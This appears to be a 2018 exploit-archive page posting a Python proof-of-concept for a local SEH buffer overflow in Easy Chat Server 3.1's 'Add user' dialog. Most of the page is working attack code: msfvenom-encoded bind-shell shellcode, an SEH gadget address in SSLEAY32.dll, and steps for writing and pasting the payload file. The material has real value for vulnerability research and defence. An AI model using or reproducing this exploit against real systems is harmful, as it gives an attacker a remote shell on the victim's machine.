Twenty Year Anniversary

Easy Chat Server 3.1 Add User Local Buffer Overflow

Easy Chat Server 3.1 Add User Local Buffer Overflow
Posted Jun 15, 2018
Authored by Hashim Jawad

Easy Chat Server version 3.1 add user local buffer overflow exploit.

tags | exploit, overflow, local
MD5 | bcabdbd0527bd278db11840e1c948973

Easy Chat Server 3.1 Add User Local Buffer Overflow

Change Mirror Download
#!/usr/bin/env python
#----------------------------------------------------------------------------------------------------------#
# Exploit Title : Easy Chat Server 3.1 - 'Add user' Local Buffer Overflow #
# Exploit Author : Hashim Jawad - @ihack4falafel #
# Vendor Homepage : http://www.echatserver.com/index.htm #
# Vulnerable Software: http://www.echatserver.com/ecssetup.exe #
# Tested on : Windows 7 Enterprise SP1 (x64) #
# Steps to reproduce : paste contents of Evil.txt in 'Name:' field under Add user and click OK #
#----------------------------------------------------------------------------------------------------------#

# msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d' -e x86/alpha_mixed -f python -v shellcode
# Payload size: 718 bytes
shellcode = ""
shellcode += "\x89\xe3\xda\xd3\xd9\x73\xf4\x5e\x56\x59\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
shellcode += "\x79\x6c\x6a\x48\x6b\x32\x53\x30\x73\x30\x77\x70"
shellcode += "\x43\x50\x4e\x69\x7a\x45\x36\x51\x79\x50\x61\x74"
shellcode += "\x4e\x6b\x52\x70\x76\x50\x6e\x6b\x62\x72\x44\x4c"
shellcode += "\x4c\x4b\x51\x42\x72\x34\x4c\x4b\x71\x62\x66\x48"
shellcode += "\x76\x6f\x4d\x67\x63\x7a\x45\x76\x50\x31\x4b\x4f"
shellcode += "\x6c\x6c\x65\x6c\x75\x31\x63\x4c\x77\x72\x44\x6c"
shellcode += "\x35\x70\x4a\x61\x68\x4f\x74\x4d\x63\x31\x5a\x67"
shellcode += "\x69\x72\x5a\x52\x76\x32\x46\x37\x6e\x6b\x52\x72"
shellcode += "\x44\x50\x6e\x6b\x30\x4a\x75\x6c\x6e\x6b\x62\x6c"
shellcode += "\x66\x71\x73\x48\x68\x63\x77\x38\x67\x71\x58\x51"
shellcode += "\x66\x31\x6c\x4b\x31\x49\x31\x30\x46\x61\x59\x43"
shellcode += "\x6c\x4b\x37\x39\x56\x78\x7a\x43\x45\x6a\x50\x49"
shellcode += "\x4c\x4b\x74\x74\x6e\x6b\x53\x31\x6a\x76\x66\x51"
shellcode += "\x69\x6f\x6e\x4c\x59\x51\x4a\x6f\x44\x4d\x76\x61"
shellcode += "\x6a\x67\x64\x78\x6b\x50\x70\x75\x4a\x56\x44\x43"
shellcode += "\x63\x4d\x48\x78\x77\x4b\x51\x6d\x67\x54\x52\x55"
shellcode += "\x59\x74\x70\x58\x4e\x6b\x66\x38\x65\x74\x55\x51"
shellcode += "\x68\x53\x63\x56\x6e\x6b\x56\x6c\x70\x4b\x4e\x6b"
shellcode += "\x52\x78\x45\x4c\x35\x51\x38\x53\x6c\x4b\x56\x64"
shellcode += "\x6c\x4b\x67\x71\x4a\x70\x6f\x79\x73\x74\x71\x34"
shellcode += "\x45\x74\x73\x6b\x43\x6b\x31\x71\x73\x69\x51\x4a"
shellcode += "\x70\x51\x59\x6f\x4d\x30\x51\x4f\x73\x6f\x33\x6a"
shellcode += "\x4e\x6b\x36\x72\x58\x6b\x6c\x4d\x33\x6d\x31\x78"
shellcode += "\x70\x33\x57\x42\x47\x70\x43\x30\x35\x38\x30\x77"
shellcode += "\x33\x43\x46\x52\x53\x6f\x36\x34\x61\x78\x42\x6c"
shellcode += "\x63\x47\x54\x66\x36\x67\x59\x6f\x58\x55\x6d\x68"
shellcode += "\x4e\x70\x53\x31\x55\x50\x77\x70\x35\x79\x7a\x64"
shellcode += "\x50\x54\x30\x50\x65\x38\x55\x79\x6b\x30\x62\x4b"
shellcode += "\x53\x30\x39\x6f\x5a\x75\x43\x5a\x33\x38\x66\x39"
shellcode += "\x52\x70\x79\x72\x59\x6d\x51\x50\x76\x30\x51\x50"
shellcode += "\x66\x30\x35\x38\x79\x7a\x66\x6f\x69\x4f\x59\x70"
shellcode += "\x39\x6f\x79\x45\x6f\x67\x35\x38\x66\x62\x63\x30"
shellcode += "\x54\x51\x71\x4c\x4d\x59\x49\x76\x52\x4a\x56\x70"
shellcode += "\x66\x36\x76\x37\x33\x58\x78\x42\x6b\x6b\x56\x57"
shellcode += "\x55\x37\x69\x6f\x79\x45\x31\x47\x33\x58\x68\x37"
shellcode += "\x79\x79\x34\x78\x4b\x4f\x4b\x4f\x49\x45\x46\x37"
shellcode += "\x35\x38\x61\x64\x38\x6c\x57\x4b\x69\x71\x69\x6f"
shellcode += "\x4b\x65\x42\x77\x4f\x67\x33\x58\x44\x35\x32\x4e"
shellcode += "\x32\x6d\x55\x31\x59\x6f\x78\x55\x65\x38\x30\x63"
shellcode += "\x52\x4d\x42\x44\x57\x70\x4b\x39\x79\x73\x63\x67"
shellcode += "\x33\x67\x30\x57\x36\x51\x59\x66\x73\x5a\x46\x72"
shellcode += "\x43\x69\x50\x56\x49\x72\x79\x6d\x51\x76\x58\x47"
shellcode += "\x33\x74\x67\x54\x47\x4c\x76\x61\x66\x61\x4c\x4d"
shellcode += "\x57\x34\x54\x64\x62\x30\x78\x46\x77\x70\x33\x74"
shellcode += "\x70\x54\x42\x70\x70\x56\x73\x66\x30\x56\x42\x66"
shellcode += "\x32\x76\x50\x4e\x61\x46\x63\x66\x52\x73\x42\x76"
shellcode += "\x61\x78\x63\x49\x78\x4c\x75\x6f\x4e\x66\x6b\x4f"
shellcode += "\x4e\x35\x4f\x79\x69\x70\x52\x6e\x70\x56\x43\x76"
shellcode += "\x69\x6f\x64\x70\x35\x38\x75\x58\x6b\x37\x45\x4d"
shellcode += "\x33\x50\x69\x6f\x5a\x75\x6f\x4b\x7a\x50\x58\x35"
shellcode += "\x6d\x72\x33\x66\x71\x78\x6d\x76\x6f\x65\x4f\x4d"
shellcode += "\x6d\x4d\x69\x6f\x4b\x65\x35\x6c\x35\x56\x73\x4c"
shellcode += "\x64\x4a\x6d\x50\x6b\x4b\x69\x70\x70\x75\x67\x75"
shellcode += "\x6d\x6b\x77\x37\x36\x73\x42\x52\x32\x4f\x51\x7a"
shellcode += "\x77\x70\x32\x73\x39\x6f\x6b\x65\x41\x41"

buffer = '\xcc' * 217 # offset to nSEH
buffer += '\x75\x06\x74\x06' # nSEH | jump net
buffer += '\x21\x7f\x01\x10' # SEH | 0x10017f21 : pop esi # pop ecx # ret | [SSLEAY32.dll]
buffer += '\x90' * 10 # nop sled
buffer += shellcode # bind shell
buffer += '\xcc' * (5000-217-4-4-10-len(shellcode)) # junk

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except Exception as e:
print e

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close